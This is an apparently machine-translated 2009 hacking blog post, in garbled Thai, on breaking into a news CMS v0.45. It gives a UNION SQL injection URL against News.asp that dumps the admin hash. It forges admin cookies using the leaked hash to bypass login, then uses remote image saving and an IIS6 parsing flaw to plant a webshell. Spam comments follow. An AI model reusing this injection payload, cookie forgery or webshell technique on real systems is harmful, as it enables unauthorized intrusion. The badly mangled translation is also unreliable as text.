ระบบข่าวจุดเดือด v0.45 ใช้ SHELL-IIS6 แยก News.asp ช่องโหว่ต้มต้มระบบข่าว, การฉีดระยะไกลเพื่อบันทึกภาพ, st0p บล็อก

ข่าวระบบจุดเดือด v0.45 ที่จะได้รับ SHELL

รายการนี้ถูกโพสต์เมื่อ 25 กันยายน 2009

: St0p
ทำซ้ำโปรดระบุแหล่งที่มา: http://www.st0p.org

หมายเหตุ: เพื่อเตือนผู้ดูแลระบบสถานีเป้าหมายเพื่อเติมเต็มหลุม

ดูกลุ่มที่ไม่มีวัสดุที่ส่งไปยังสถานีเปิดดูเหมือนจะต้มระบบข่าว แต่รุ่นที่เขียนเป็น v0.1, Internet ไม่พบรุ่นที่เหมาะสมมีสองรุ่น 1.1 และ 0.45, จำ News.asp ฉีดอยู่แน่นอน แต่เนื่องจากรุ่นที่แตกต่างกันดังนั้นเขตข้อมูลตารางข่าวงบทั้งหมดเป็นบิตที่แตกต่างกัน

หลังจากที่ความพยายามของ st0p สถานีปลายทางที่ควรจะเป็น 0.45 ของชื่อผู้ใช้และรหัสผ่านที่พื้นหลังประสบความสำเร็จกัญชาผ่านคำสั่งต่อไปนี้ผมพยายามที่ประสบความสำเร็จเขต 27 .

  http://st0p.org/News.asp?click=1&shu=20% 201% 20as% 20NewsID ชื่อผู้ใช้ 20title%% 20as, 20updatetime% 3% 20as% 20as passwd% 20click, 5,6,7,8, % 20from 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%%% 20admin 20order 20% 20by% 202% 20union%%% 20desc 20select 20top% 202

ดูเราไม่ได้รับชื่อผู้ใช้รหัสผ่าน xcb c95ca278a74775f8 แล้วเราก็จะแตก MD5, หดหู่, การหาที่ออกไม่สามารถทำลายไม่ได้ใส่พื้นหลังมาข้างหน้า . .
แล้วฉันจะตรวจสอบ .45 รุ่นของรหัสและพบว่าส่วนหนึ่งในการดูแลระบบ / chkuser.asp ตรวจสอบการเข้าสู่ระบบของผู้ใช้ที่เราดูรหัส

 ( Request . cookies ( "KEY" ) = "super" or Request . cookies ( "KEY" ) = "check" or Request . cookies ( "KEY" ) = "typemaster" or Request . cookies ( "KEY" ) = "bigmaster" or Request . cookies ( "KEY" ) = "smallmaster" or Request . cookies ( "KEY" ) = "selfreg" ) THEN '首先检测cookies中的key，如果不为上面的值，自动转向登陆页面 response . redirect "login.asp" response . end END IF set urs = server . createobject ( "adodb.recordset" ) sql = "select * from admin where username='" & Request. cookies ( "username" ) & "'" '查询cookies中username是否是管理用户 urs. open sql,conn, 1 , 3 if urs. bof or urs. eof then response . redirect "login.asp" response . end end if IF Request . cookies ( "passwd" ) <> urs ( "passwd" ) THEN '如果用户存在，验诈cookies中的passwd字段是否和用户的密码HASH相同，不同则转向 response . redirect "login.asp" response . end END IF urs. close set urs = nothing %> <% ถ้าไม่ได้ (คุกกี้ Request. ("Key") = "super" หรือขอ. คุกกี้ ("Key") คุกกี้ = "กา" หรือขอ. ("Key") = "typemaster" หรือขอ. คุกกี้ ("Key ") =" "คุกกี้หรือขอ. (" bigmaster "หรือขอ. คุกกี้ (" Key ") =" smallmaster Key ") =" selfreg ") จากนั้นก่อนที่จะตรวจจับคุกกี้ที่สำคัญหากไม่ได้สำหรับค่าข้างต้นโดยอัตโนมัติ หันไปหน้า Landing Page คือการตอบสนองจากการเปลี่ยนเส้นทางการตอบสนอง "login.asp". end end หากตั้ง Urs เซิร์ฟเวอร์ =. CreateObject ("adodb.recordset") sql = "select * from ดูแลระบบที่ชื่อผู้ใช้ = '" & คุกกี้ Request ("ชื่อ") & "'"' สอบถามข้อมูลชื่อผู้ใช้คุกกี้คือไม่ว่าผู้ใช้ Urs บริหาร. เปิด SQL, conn, 1, 3 ถ้า Urs. bof หรือ Urs. EOF แล้วการตอบสนอง. เปลี่ยนเส้นทาง "login.asp" จบสิ้นการตอบสนองถ้าหากคุกกี้ขอ. เป็น ( "passwd") <> Urs ("passwd") แล้ว 'หากผู้ใช้มีอยู่แล้วประสบการณ์ด้านคุกกี้ฉ้อโกง passwd ถ้ารหัสผ่านของผู้ใช้กัญชาในเทิร์นที่แตกต่างเพื่อตอบสนอง. เปลี่ยนเส้นทางการตอบสนอง "login.asp". end end IF Urs. ปิดชุด% Urs อะไร =>

Hey, โชคดีจริงๆถึงแม้ว่ามันเป็นไปไม่ได้ที่จะแตกกัญชารหัสผ่าน แต่คุณสามารถใช้งานได้ตระหนักถึงการหลอกลวง ดูที่การใช้กระบวนการ .
เราใช้โดเมน http://st0p.org/admin/index.asp เปิดเมื่อเขาจะไป login.asp

แล้วเราลบคุกกี้ reglevel; FullName; ขอบเขต; สำคัญส่วนหนึ่ง UserName แล้วเพิ่มชื่อผู้ใช้ = xcb; KEY = super; passwd = c95ca278a74775f8 ชื่อผู้ใช้และรหัสผ่านที่เปลี่ยนคีย์โดยตรงสามารถใช้ super
เราชี้ไปที่การปรับเปลี่ยน

แล้วเปลี่ยน URL มีการเปลี่ยนแปลงการเชื่อมโยงจุด http://st0p.org/admin/index.asp

รายการที่ประสบความสำเร็จเป็นพื้นหลัง, hey เราโดยตรงที่จะกล่าวถึงสิทธิของมันระบบนี้มีฟังก์ชั่นการบันทึกภาพจากระยะไกลเราใช้มาและเก็บรวบรวม SHELL แรกเพิ่มบทความแล้ว Plug-in แก้ไขภาพที่อยู่บนเซิร์ฟเวอร์ของเรา ม้าแทรกเลือกบันทึกภาพจากระยะไกล แล้วส่ง

จากนั้นเราจะต้องเข้าถึงเพื่อเพิ่มบทความที่ดีคัดลอกภาพของที่อยู่ภายใน เซิร์ฟเวอร์ของสถานีเป้าหมายคือ IIS6, วรรคก่อนยังไม่ได้รายงานช่องโหว่การแยกเพียงใช้ฮิฮิ
ขณะนี้เรามีคำพูดของม้าและเหตุผลที่ผมไม่พูด . .
แต่สิทธิ์ของสถานีเป้าหมายค่อนข้าง BT เพียงไดเรกทอรีที่สามารถเขียนได้อัปโหลด แต่ยังไม่สามารถลบ . ช้าไม่มีสิทธิ์ที่จะได้บันทึกแรกที่เกี่ยวกับ . .

เรียนรู้กลโกงศิลปะการต่อสู้ป้องกันตัว·

คำตอบที่ 163 "ต้มระบบข่าว v0.45 ที่จะได้รับ SHELL

โดย Minghacker เมื่อ 26 กันยายน 2009 | ตอบ
แดเนียล st0p ~ ~ ~ ~ บูชา
โดย icysun เมื่อ 26 กันยายน 2009 | ตอบ
ไม่ได้ระบบ ..
พันธบัตรของโลกนี้สภาพแวดล้อม Ya ..
st0p ตอบ:
26 กันยายน 2009 เวลา 12:21
คุณจะพูดว่าฉันทำเช่นนี้?
จุดเดือดและ 0.45 จากระบบข่าว,
icysun ตอบ:
26 กันยายน 2009 เวลา 12:30
ใช่
โดย b00lean เมื่อ 28 กันยายน 2009 | ตอบ
โค st0p คุณไม่ได้อยู่ที่โรงเรียนของเราวิธีที่จะไม่ไป
โดย jshfuitg เมื่อ 25 พฤศจิกายน 2009 | ตอบ
dCATec qhuvtpiheyue , [url = http://ggwyligshlfd.com/ ggwyligshlfd [/ url], ลิงค์ [http://nxjhtastnpxn.com/ =] nxjhtastnpxn [/ link], http://kwxzxruczflr.com/
โดย adkpaxv เมื่อ 27 พฤศจิกายน 2009 | ตอบ
T9v9E0 oihbhcyxrstd , [url = http://ztggdtdbkkjc.com/ ztggdtdbkkjc [/ url], ลิงค์ [http://haboolnldgjd.com/ =] haboolnldgjd [/ link], http://zsjtcxcsvmjj.com/
โดย Seengart เมื่อ 14 ธันวาคม 2009 | ตอบ
เอ๊ะ .. ขอขอบคุณสำหรับความคิดนี้ )
โดย FarmerLupe33 เมื่อ 4 พฤศจิกายน 2011 | ตอบ
เงินกู้ ดูเหมือนจะมีประโยชน์สำหรับคนที่มีความเต็มใจที่จะเริ่มต้นอาชีพของตัวเอง. เป็นความจริงที่ว่าไม่ยากที่จะได้รับเงินกู้ในเชิงพาณิชย์